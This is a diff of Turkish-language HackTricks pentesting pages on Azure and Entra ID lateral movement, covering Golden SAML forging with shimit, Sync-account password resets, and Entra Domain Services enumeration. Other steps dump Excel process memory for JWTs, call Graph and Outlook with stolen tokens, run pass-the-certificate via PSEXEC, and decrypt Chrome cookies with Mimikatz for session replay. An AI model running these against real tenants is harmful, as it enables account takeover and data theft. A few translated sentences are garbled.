Ancak, Ocak 2025'ten itibaren bu kullanıcı varsayılan olarak artık oluşturulmamaktadır, çünkü artık **`ConnectSyncProvisioning_ConnectSync_`** Uygulaması/SP'si kullanılmaktadır. Ancak, bazı ortamlarda hala mevcut olabilir, bu nedenle kontrol etmeye değer. **`Sync_*`** hesabını ele geçirerek, herhangi bir kullanıcının (Global Yöneticiler dahil) **şifresini sıfırlamak** mümkündür. ```bash @@ -172,10 +172,10 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj # Reset password Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers ``` -Bu kullanıcının şifresini dökme işlemi de mümkündür. +Bu kullanıcının şifresini dökmek de mümkündür. > [!CAUTION] -> Diğer bir seçenek, **bir hizmet ilkesi için ayrıcalıklı izinler atamak** olacaktır; bu, **Sync** kullanıcısının **izin** sahibi olduğu bir işlemdir ve ardından **o hizmet ilkesine erişmek** bir privesc yöntemi olarak kullanılabilir. +> Diğer bir seçenek, **bir hizmet ilkesine ayrıcalıklı izinler atamak** olacaktır; bu, **Sync** kullanıcısının **izin** vermeye yetkili olduğu bir işlemdir ve ardından **o hizmet ilkesine erişmek** bir privesc yöntemi olarak kullanılabilir. ### Seamless SSO @@ -187,8 +187,8 @@ seamless-sso.md ## Pivoting Entra ID --> AD -- Şifre yazma geri gönderimi etkinse, Entra ID ile senkronize olan **AD'deki herhangi bir kullanıcının şifresini değiştirebilirsiniz**. -- Gruplar yazma geri gönderimi etkinse, Entra ID'deki **ayrıcalıklı gruplara kullanıcı ekleyebilirsiniz**; bu gruplar AD ile senkronizedir. +- Şifre yazma geri dönüşü etkinse, Entra ID ile senkronize olan **AD'deki herhangi bir kullanıcının şifresini değiştirebilirsiniz**. +- Gruplar yazma geri dönüşü etkinse, Entra ID'deki **ayrıcalıklı gruplara kullanıcılar ekleyebilirsiniz**; bu gruplar AD ile senkronizedir. ## Referanslar diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md new file mode 100644 index 000000000..dd51b5cbf --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md @@ -0,0 +1,86 @@ +# Az - Microsoft Entra Domain Services + +{{#include ../../../../banners/hacktricks-training.md}} + +## Domain Services + +Microsoft Entra Domain Services, Domain Controller'ları yönetmeye gerek kalmadan Azure'da bir Active Directory dağıtımına olanak tanır (aslında onlara erişiminiz bile yoktur). + +Ana amacı, modern kimlik doğrulama yöntemlerini kullanamayan veya dizin sorgularının her zaman yerel bir AD DS ortamına geri dönmesini istemediğiniz bulut ortamında eski uygulamaları çalıştırmanıza izin vermektir. + +Entra ID'de oluşturulan kullanıcıları (ve diğer aktif dizinlerden senkronize edilmeyenleri) AD domain hizmetine senkronize etmek için **kullanıcının şifresini** yeni bir şifre ile **değiştirmeniz** gerektiğini unutmayın. Aslında, kullanıcı şifresi değiştirilene kadar Microsoft Entra ID'den Domain Services'a senkronize edilmez. + +> [!WARNING] +> Yeni bir aktif dizin alanı oluşturuyor olsanız bile, onu tamamen yönetemezsiniz (bazı yanlış yapılandırmaları istismar etmediğiniz sürece), bu da varsayılan olarak örneğin AD'de doğrudan kullanıcı oluşturamayacağınız anlamına gelir. Kullanıcıları **Entra ID'den senkronize ederek** oluşturursunuz. Tüm kullanıcıları (diğer yerel AD'lerden senkronize edilenler dahil), yalnızca bulut kullanıcılarını (Entra ID'de oluşturulan kullanıcılar) veya hatta **daha fazla filtreleme** yapmayı belirtebilirsiniz. + +> [!NOTE] +> Genel olarak, yeni alanın yapılandırmasındaki esneklik eksikliği ve AD'lerin genellikle zaten yerel olması nedeniyle, bu Entra ID ve AD arasındaki ana entegrasyon değildir, ancak yine de bunu nasıl tehlikeye atacağınızı bilmek ilginçtir. + +### Pivoting + +Oluşturulan **`AAD DC Administrators`** grubunun üyeleri, yönetilen alana katılan VM'lerde yerel yönetici izinleri alır (ancak domain controller'larda değil) çünkü yerel yöneticiler grubuna eklenirler. Bu grubun üyeleri ayrıca **Uzak Masaüstü kullanarak domain-joined VM'lere uzaktan bağlanabilir** ve ayrıca şu grupların üyeleridir: + +- **`Denied RODC Password Replication Group`**: Bu, şifrelerinin RODC'lerde (Salt Okunur Domain Controller'lar) önbelleğe alınamayacağı kullanıcıları ve grupları belirten bir gruptur. +- **`Group Policy Creators Owners`**: Bu grup, üyelerin alanda Grup Politikaları oluşturmasına izin verir. Ancak, üyeleri grup politikalarını kullanıcılara veya gruplara uygulayamaz veya mevcut GPO'ları düzenleyemez, bu nedenle bu ortamda çok ilginç değildir. +- **`DnsAdmins`**: Bu grup, DNS ayarlarını yönetmeye olanak tanır ve geçmişte [yetki yükseltmek ve alanı tehlikeye atmak için istismar edilmiştir](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), ancak bu ortamda saldırıyı test ettikten sonra açığın yamanmış olduğu kontrol edilmiştir: +```text +dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll + +DNS Server failed to reset registry property. +Status = 5 (0x00000005) +Command failed: ERROR_ACCESS_DENIED 5 0x5 +``` +Not edin ki, bu izinleri vermek için, AD içinde **`AAD DC Administrators`** grubu önceki grupların bir üyesi yapılır ve ayrıca GPO **`AADDC Computers GPO`** alan grubu **`AAD DC Administrators`** üyelerini Yerel Yöneticiler olarak ekler. + +Entra ID'den Domain Services ile oluşturulmuş bir AD'ye geçiş yapmak basittir, sadece bir kullanıcıyı **`AAD DC Administrators`** grubuna ekleyin, alan içindeki herhangi/bütün makinelere RDP ile erişin ve verileri çalabilir ve ayrıca **alanı tehlikeye atabilirsiniz.** + +Ancak, alanın Entra ID'ye geçişi o kadar kolay değildir çünkü alandaki hiçbir şey Entra ID ile senkronize edilmemektedir. Ancak, her zaman tüm VM'lerin metadata'sını kontrol edin çünkü atanan yönetilen kimlikleri ilginç izinlere sahip olabilir. Ayrıca **alanın tüm kullanıcı şifrelerini dökün** ve bunları kırmaya çalışın, ardından Entra ID / Azure'a giriş yapın. + +> [!NOTE] +> Geçmişte, bu yönetilen AD'de DC'leri tehlikeye atmaya izin veren başka güvenlik açıkları bulundu, [bunun gibi](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). DC'yi tehlikeye atan bir saldırgan, Azure yöneticileri fark etmeden veya bunu kaldırma yeteneğine sahip olmadan kalıcılığı çok kolay bir şekilde sürdürebilir. + +### Enumeration +```bash +# Get configured domain services domains (you can add more subs to check in more subscriptions) +az rest --method post \ +--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \ +--body '{ +"subscriptions": [ +"0ce1297c-9153-425d-3229-f51093614377" +], +"query": "resources | where type == \"microsoft.aad/domainservices\"", +"options": { +"$top": 16, +"$skip": 0, +"$skipToken": "" +} +}' + +# Get domain configuration +az rest --url "https://management.azure.com/subscriptions//resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/?api-version=2022-12-01&healthdata=true" +## e.g. +az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true" + +# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain + +subscription_id="0ce1297c-9153-425d-3229-f51093614377" +vnet_name="aadds-vnet" + +# Retrieve all VMs in the subscription +vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv) + +# Iterate through each VM to check their VNet connection +echo "VMs connected to VNet '$vnet_name':" +while IFS=$'\t' read -r vm_name resource_group; do +nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv) + +for nic_id in $nic_ids; do +subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv) + +if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then +echo "VM Name: $vm_name, Resource Group: $resource_group" +fi +done +done <<< "$vm_list" +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md similarity index 82% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md index 814db120f..0703377ab 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md @@ -6,7 +6,7 @@ [Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed) ->**Federasyon**, **güven** kurmuş **alanlar** topluluğudur. Güven seviyesi değişiklik gösterebilir, ancak genellikle **kimlik doğrulama** içerir ve neredeyse her zaman **yetkilendirme** içerir. Tipik bir federasyon, **paylaşılan erişim** için **güven** kurmuş bir **dizi organizasyon** içerebilir. +>**Federasyon**, **güven** kurmuş **alanlar** topluluğudur. Güven seviyesi değişiklik gösterebilir, ancak genellikle **kimlik doğrulama** içerir ve neredeyse her zaman **yetkilendirme** içerir. Tipik bir federasyon, belirli kaynaklara **paylaşılan erişim** için **güven** kurmuş bir **dizi organizasyon** içerebilir. >On-premises ortamınızı **Azure AD** ile **federasyon** yapabilir ve bu federasyonu kimlik doğrulama ve yetkilendirme için kullanabilirsiniz. Bu oturum açma yöntemi, tüm kullanıcı **kimlik doğrulamasının on-premises** ortamda gerçekleşmesini sağlar. Bu yöntem, yöneticilerin daha katı erişim kontrol seviyeleri uygulamasına olanak tanır. **AD FS** ve PingFederate ile federasyon mevcuttur.
@@ -36,11 +36,11 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html ## Pivoting -- AD FS, iddia tabanlı bir kimlik modelidir. -- "..iddialar, kullanıcılar hakkında yapılan (örneğin, ad, kimlik, grup) basit ifadelerdir ve esasen internet üzerinde herhangi bir yerde bulunan iddia tabanlı uygulamalara erişimi yetkilendirmek için kullanılır." -- Bir kullanıcı için iddialar, SAML token'larının içine yazılır ve ardından IdP tarafından gizlilik sağlamak için imzalanır. -- Bir kullanıcı, ImmutableID ile tanımlanır. Bu, küresel olarak benzersizdir ve Azure AD'de saklanır. -- ImmutableID, kullanıcı için on-premises ms-DS-ConsistencyGuid üzerinde saklanır ve/veya kullanıcının GUID'inden türetilebilir. +- AD FS, iddia temelli bir kimlik modelidir. +- "..iddialar, kullanıcılar hakkında yapılan (örneğin, ad, kimlik, grup) basit ifadelerdir ve esasen internet üzerinde herhangi bir yerde bulunan iddia temelli uygulamalara erişimi yetkilendirmek için kullanılır." +- Bir kullanıcı için iddialar SAML token'ları içinde yazılır ve ardından IdP tarafından gizlilik sağlamak için imzalanır. +- Bir kullanıcı ImmutableID ile tanımlanır. Bu, küresel olarak benzersizdir ve Azure AD'de saklanır. +- ImmutableID, kullanıcı için on-prem olarak ms-DS-ConsistencyGuid üzerinde saklanır ve/veya kullanıcının GUID'inden türetilebilir. - Daha fazla bilgi için [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) **Golden SAML saldırısı:** @@ -53,11 +53,11 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html ### Golden SAML -Bir **Kimlik Sağlayıcı (IdP)** tarafından kullanıcı oturum açmasını yetkilendirmek için üretilen bir **SAMLResponse** süreci çok önemlidir. IdP'nin belirli uygulamasına bağlı olarak, **yanıt** **imzalanmış** veya **şifrelenmiş** olabilir ve bu, **IdP'nin özel anahtarı** kullanılarak yapılır. Bu prosedür, **Hizmet Sağlayıcı (SP)**'nın SAMLResponse'nin doğruluğunu onaylamasını sağlar ve bunun güvenilir bir IdP tarafından verildiğini garanti eder. +Bir **Kimlik Sağlayıcı (IdP)** tarafından kullanıcı oturum açmasını yetkilendirmek için üretilen bir **SAMLResponse** süreci çok önemlidir. IdP'nin belirli uygulamasına bağlı olarak, **yanıt** **imzalanmış** veya **şifrelenmiş** olabilir ve bu, **IdP'nin özel anahtarı** kullanılarak yapılır. Bu prosedür, **Hizmet Sağlayıcı (SP)**'nın SAMLResponse'nin gerçekliğini doğrulamasını sağlar ve bunun güvenilir bir IdP tarafından verildiğini garanti eder. -[altın bilet saldırısı](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket) ile bir paralellik kurulabilir; burada kullanıcının kimliğini ve izinlerini doğrulayan anahtar (altın biletler için KRBTGT, altın SAML için token-imzalama özel anahtarı) sahte bir kimlik doğrulama nesnesi (TGT veya SAMLResponse) oluşturmak için manipüle edilebilir. Bu, herhangi bir kullanıcının taklit edilmesine ve SP'ye yetkisiz erişim sağlanmasına olanak tanır. +[Golden ticket saldırısı](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket) ile bir paralellik kurulabilir; burada kullanıcının kimliğini ve izinlerini doğrulayan anahtar (golden ticket için KRBTGT, golden SAML için token-imzalama özel anahtarı) manipüle edilerek bir **kimlik doğrulama nesnesi** (TGT veya SAMLResponse) sahteleyebilir. Bu, herhangi bir kullanıcının taklit edilmesine ve SP'ye yetkisiz erişim sağlanmasına olanak tanır. -Altın SAML'lerin belirli avantajları vardır: +Golden SAML'lerin belirli avantajları vardır: - **Uzakta oluşturulabilirler**, ilgili alan veya federasyonun parçası olma gereği olmaksızın. - **İki Faktörlü Kimlik Doğrulama (2FA)** etkin olsa bile etkili kalırlar. @@ -66,11 +66,11 @@ Altın SAML'lerin belirli avantajları vardır: #### AWS + AD FS + Golden SAML -[Active Directory Federation Services (AD FS)]() güvenilir iş ortakları (federasyon) arasında **kimlik bilgilerini güvenli bir şekilde değiştirmeyi** kolaylaştıran bir Microsoft hizmetidir. Temelde, bir alan hizmetinin, bir federasyon içindeki diğer hizmet sağlayıcılarla kullanıcı kimliklerini paylaşmasına olanak tanır. +[Active Directory Federation Services (AD FS)]() güvenilir iş ortakları (federasyon) arasında **kimlik bilgisi değişimini güvenli bir şekilde** sağlamak için Microsoft'un bir hizmetidir. Temelde, bir alan hizmetinin, bir federasyon içindeki diğer hizmet sağlayıcılarla kullanıcı kimliklerini paylaşmasına olanak tanır. -AWS, tehlikeye giren alanı (bir federasyonda) güvenilir kıldığında, bu zafiyet, AWS ortamında **herhangi bir izin edinme** potansiyeli ile istismar edilebilir. Saldırı, SAML nesnelerini imzalamak için kullanılan **özel anahtarı** gerektirir; bu, altın bilet saldırısında KRBTGT'yi gerektirmeye benzer. AD FS kullanıcı hesabına erişim, bu özel anahtarı elde etmek için yeterlidir. +AWS, tehlikeye giren alanı (bir federasyonda) güvenilir kabul ettiğinde, bu zafiyet, AWS ortamında **herhangi bir izin edinme** potansiyeli ile istismar edilebilir. Saldırı, SAML nesnelerini imzalamak için kullanılan **özel anahtarı** gerektirir; bu, golden ticket saldırısında KRBTGT'yi gerektirmeye benzer. AD FS kullanıcı hesabına erişim, bu özel anahtarı elde etmek için yeterlidir. -Bir altın SAML saldırısı gerçekleştirmek için gerekenler şunlardır: +Golden SAML saldırısını gerçekleştirmek için gerekenler şunlardır: - **Token-imzalama özel anahtarı** - **IdP kamu sertifikası** @@ -96,7 +96,7 @@ _Sadece kalın yazılı olanlar zorunludur. Diğerleri istenildiği gibi dolduru # Role Name (Get-ADFSRelyingPartyTrust).IssuanceTransformRule ``` -Tüm bilgilerle, taklit etmek istediğiniz kullanıcı olarak geçerli bir SAMLResponse'ı [**shimit**](https://github.com/cyberark/shimit)**:** unutarak unutmak mümkündür. +Tüm bilgilerle, taklit etmek istediğiniz kullanıcı olarak geçerli bir SAMLResponse'ı [**shimit**](https://github.com/cyberark/shimit)**:** unutmamak mümkündür. ```bash # Apply session for AWS cli python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md similarity index 72% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md index 6fe920364..54c6682dc 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md @@ -5,7 +5,7 @@ ## Entra ID kullanıcılarının yerel sunucuya senkronizasyonunu zorlamak -[https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) adresinde belirtildiği gibi, yerel AD'deki bir AD kullanıcısının **`ProxyAddress`** değerini değiştirmek mümkün oldu; bu, bir Entra ID admin kullanıcısının e-posta adresini ekleyerek ve ayrıca AD'deki kullanıcının UPN'sinin Entra ID'deki kullanıcıyla eşleşmesini sağlamakla (bu tekrar Entra ID'dir) mümkün oldu, örneğin **`SMTP:admin@domain.onmicrosoft.com`**. Bu, bu kullanıcının Entra ID'den yerel AD'ye **senkronizasyonunu zorlayacaktır**, bu nedenle kullanıcının şifresi biliniyorsa, bu şifre Entra ID'deki admin kullanıcısına **erişim sağlamak için** kullanılabilir. +[https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) adresinde belirtildiği gibi, yerel AD'deki bir AD kullanıcısının **`ProxyAddress`** değerini değiştirmek mümkün oldu; bu, bir Entra ID admin kullanıcısının e-posta adresini ekleyerek ve AD'deki kullanıcının UPN'sinin Entra ID'deki kullanıcıyla eşleşmesini sağlayarak gerçekleştirildi (bu tekrar Entra ID'dir), örneğin **`SMTP:admin@domain.onmicrosoft.com`**. Bu, bu kullanıcının Entra ID'den yerel AD'ye **senkronizasyonunu zorlayacaktır**, bu nedenle kullanıcının şifresi biliniyorsa, bu şifre Entra ID'deki admin kullanıcısına **erişim sağlamak için** kullanılabilir. Entra ID'den yerel AD'ye yeni bir kullanıcı senkronize etmek için gereken tek gereksinimler şunlardır: @@ -15,7 +15,7 @@ Entra ID'den yerel AD'ye yeni bir kullanıcı senkronize etmek için gereken tek > [!CAUTION] -> Entra ID artık Entra ID'den yerel AD'ye admin kullanıcılarını senkronize etmeye izin vermiyor. +> Entra ID artık Entra ID'den yerel AD'ye admin senkronizasyonuna izin vermiyor. > Ayrıca, bu **MFA'yı atlamayacaktır**. diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index 5f51714e2..6ff82b370 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -2,11 +2,11 @@ {{#include ../../../banners/hacktricks-training.md}} -## Yerel Token Depolama ve Güvenlik Değerlendirmeleri +## Yerel Token Depolama ve Güvenlik Hususları ### Azure CLI (Komut Satırı Arayüzü) -Tokenlar ve hassas veriler Azure CLI tarafından yerel olarak depolanır, bu da güvenlik endişelerini artırır: +Tokenlar ve hassas veriler Azure CLI tarafından yerel olarak depolanır, bu da güvenlik endişeleri doğurur: 1. **Erişim Tokenları**: `C:\Users\\.Azure` konumundaki `accessTokens.json` içinde düz metin olarak saklanır. 2. **Abonelik Bilgileri**: Aynı dizinde bulunan `azureProfile.json`, abonelik detaylarını içerir. @@ -16,24 +16,44 @@ Tokenlar ve hassas veriler Azure CLI tarafından yerel olarak depolanır, bu da ### Azure PowerShell -Azure PowerShell de tokenlar ve hassas verileri yerel olarak depolar: +Azure PowerShell de tokenlar ve hassas verileri depolar, bunlara yerel olarak erişilebilir: 1. **Erişim Tokenları**: `C:\Users\\.Azure` konumundaki `TokenCache.dat`, erişim tokenlarını düz metin olarak saklar. -2. **Hizmet Prensibi Gizli Anahtarları**: Bunlar `AzureRmContext.json` içinde şifrelenmemiş olarak saklanır. +2. **Hizmet Prensibi Sırları**: Bunlar `AzureRmContext.json` içinde şifrelenmemiş olarak saklanır. 3. **Token Kaydetme Özelliği**: Kullanıcılar, yetkisiz erişimi önlemek için dikkatli bir şekilde kullanılmalıdır. -## Onları Bulmak için Otomatik Araçlar +### Onları Bulmak için Otomatik Araçlar - [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe) - [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1) -## Güvenlik Önerileri +## Bellekteki Tokenlar -Hassas verilerin düz metin olarak depolanmasını göz önünde bulundurarak, bu dosyaları ve dizinleri güvence altına almak için: +[**bu videoda**](https://www.youtube.com/watch?v=OHKZkXC4Duw) açıklandığı gibi, bulut ile senkronize olan bazı Microsoft yazılımları (Excel, Teams...) **erişim tokenlarını bellek içinde düz metin olarak saklayabilir**. Bu nedenle, sürecin **belleğini dökerek** ve **JWT tokenları için grep yaparak** kurbanın buluttaki çeşitli kaynaklarına MFA'yı atlayarak erişim sağlayabilirsiniz. -- Bu dosyalara erişim haklarını sınırlamak. -- Yetkisiz erişim veya beklenmedik değişiklikler için bu dizinleri düzenli olarak izlemek ve denetlemek. -- Mümkünse hassas dosyalar için şifreleme kullanmak. -- Kullanıcıları bu tür hassas bilgilerin işlenmesiyle ilgili riskler ve en iyi uygulamalar hakkında eğitmek. +Adımlar: + +1. EntraID kullanıcısıyla senkronize olan excel süreçlerini favori aracınızla dökün. +2. `string excel.dmp | grep 'eyJ0'` komutunu çalıştırın ve çıktıda birkaç token bulun. +3. Sizi en çok ilgilendiren tokenları bulun ve bunlar üzerinde araçlar çalıştırın: +```bash +# Check the identity of the token +curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/me | jq + +# Check the email (you need a token authorized in login.microsoftonline.com) +curl -s -H "Authorization: Bearer " https://outlook.office.com/api/v2.0/me/messages | jq + +# Download a file from Teams +## You need a token that can access graph.microsoft.com +## Then, find the inside the memory and call +curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/sites//drives | jq + +## Then, list one drive +curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sites//drives/' | jq + +## Finally, download a file from that drive: +curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' +``` +**Bu tür erişim jetonlarının diğer süreçlerin içinde de bulunabileceğini unutmayın.** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index 50ff6a624..741378a79 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -1,18 +1,18 @@ -# Az - Pass the Certificate +# Az - Sertifikayı Geç {{#include ../../../banners/hacktricks-training.md}} -## Pass the Certificate (Azure) +## Sertifikayı Geç (Azure) -Azure'a bağlı makinelerde, **Entra ID CA** tarafından gerekli kullanıcı için (konu olarak) verilmiş sertifikalar kullanılarak bir makineden diğerine kimlik doğrulaması yapmak mümkündür; her iki makine de **NegoEx** kimlik doğrulama mekanizmasını destekliyorsa. +Azure'a bağlı makinelerde, **NegoEx** kimlik doğrulama mekanizmasını destekleyen her iki makine için gerekli kullanıcı (konu) adına **Entra ID CA** tarafından verilmiş sertifikalar kullanılarak bir makineden diğerine kimlik doğrulamak mümkündür. Aşırı basitleştirilmiş terimlerle: - Bağlantıyı başlatan makine (istemci) **bir kullanıcı için Entra ID'den bir sertifika** gerektirir. -- İstemci, PRT ve diğer ayrıntıları içeren bir JSON Web Token (JWT) başlığı oluşturur, bunu Türev anahtarı (oturum anahtarı ve güvenlik bağlamı kullanılarak) ile imzalar ve **Entra ID'ye gönderir**. -- Entra ID, istemci oturum anahtarı ve güvenlik bağlamını kullanarak JWT imzasını doğrular, PRT'nin geçerliliğini kontrol eder ve **sertifika** ile **yanıtlar**. +- İstemci, PRT ve diğer ayrıntıları içeren bir JSON Web Token (JWT) başlığı oluşturur, bunu Türev anahtarı (oturum anahtarı ve güvenlik bağlamını kullanarak) ile imzalar ve **Entra ID'ye gönderir**. +- Entra ID, istemci oturum anahtarını ve güvenlik bağlamını kullanarak JWT imzasını doğrular, PRT'nin geçerliliğini kontrol eder ve **sertifika** ile **yanıtlar**. -Bu senaryoda ve [**Pass the PRT**](pass-the-prt.md) saldırısı için gerekli tüm bilgileri topladıktan sonra: +Bu senaryoda ve [**PRT'yi Geç**](az-primary-refresh-token-prt.md) saldırısı için gerekli tüm bilgileri topladıktan sonra: - Kullanıcı adı - Kiracı ID @@ -20,11 +20,11 @@ Bu senaryoda ve [**Pass the PRT**](pass-the-prt.md) saldırısı için gerekli t - Güvenlik bağlamı - Türev Anahtar -Kullanıcı için **P2P sertifikası** talep etmek mümkündür; bu işlem için [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** +Kullanıcı için **P2P sertifikası** talep etmek mümkündür, araç [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** ```bash RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE] ``` -Sertifikalar, PRT ile aynı süre boyunca geçerli olacaktır. Sertifikayı kullanmak için, uzaktaki makineye **kimlik doğrulaması** yapacak, **PSEXEC** çalıştıracak ve kurban makinesinde **CMD** açacak python aracı [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) kullanabilirsiniz. Bu, başka bir kullanıcının PRT'sini almak için Mimikatz'ı tekrar kullanmamıza olanak tanıyacaktır. +Sertifikalar, PRT ile aynı süre boyunca geçerli olacaktır. Sertifikayı kullanmak için, uzaktaki makineye **kimlik doğrulaması** yapacak, **PSEXEC** çalıştıracak ve kurban makinesinde **CMD** açacak olan python aracını [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) kullanabilirsiniz. Bu, başka bir kullanıcının PRT'sini almak için Mimikatz'ı tekrar kullanmamıza olanak tanıyacaktır. ```bash Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP ``` diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index 349bdac10..e921fc2c9 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -24,9 +24,9 @@ Mimikatz elimdeyken, bu komutla **bir kullanıcının çerezlerini** şifrelenmi ```bash mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit ``` -Azure için, **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** ve **`ESTSAUTHLIGHT`** dahil olmak üzere kimlik doğrulama çerezlerine önem veriyoruz. Bunlar, kullanıcının son zamanlarda Azure'da aktif olmasından dolayı bulunmaktadır. +Azure için, **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** ve **`ESTSAUTHLIGHT`** dahil olmak üzere kimlik doğrulama çerezleriyle ilgileniyoruz. Bunlar, kullanıcının son zamanlarda Azure'da aktif olduğu için mevcuttur. -Sadece login.microsoftonline.com adresine gidin ve **`ESTSAUTHPERSISTENT`** çerezini ( “Stay Signed In” seçeneği ile oluşturulan) veya **`ESTSAUTH`** çerezini ekleyin. Ve kimlik doğrulamanız yapılacaktır. +Sadece login.microsoftonline.com adresine gidin ve **`Stay Signed In`** seçeneğiyle oluşturulan **`ESTSAUTHPERSISTENT`** çerezini veya **`ESTSAUTH`** çerezini ekleyin. Ve kimlik doğrulamanız yapılacaktır. ## References diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index 95d3d1789..79e17b4f7 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -4,9 +4,10 @@ ## Bir Primary Refresh Token (PRT) Nedir? -Bir **Primary Refresh Token (PRT)**, Azure AD (Entra 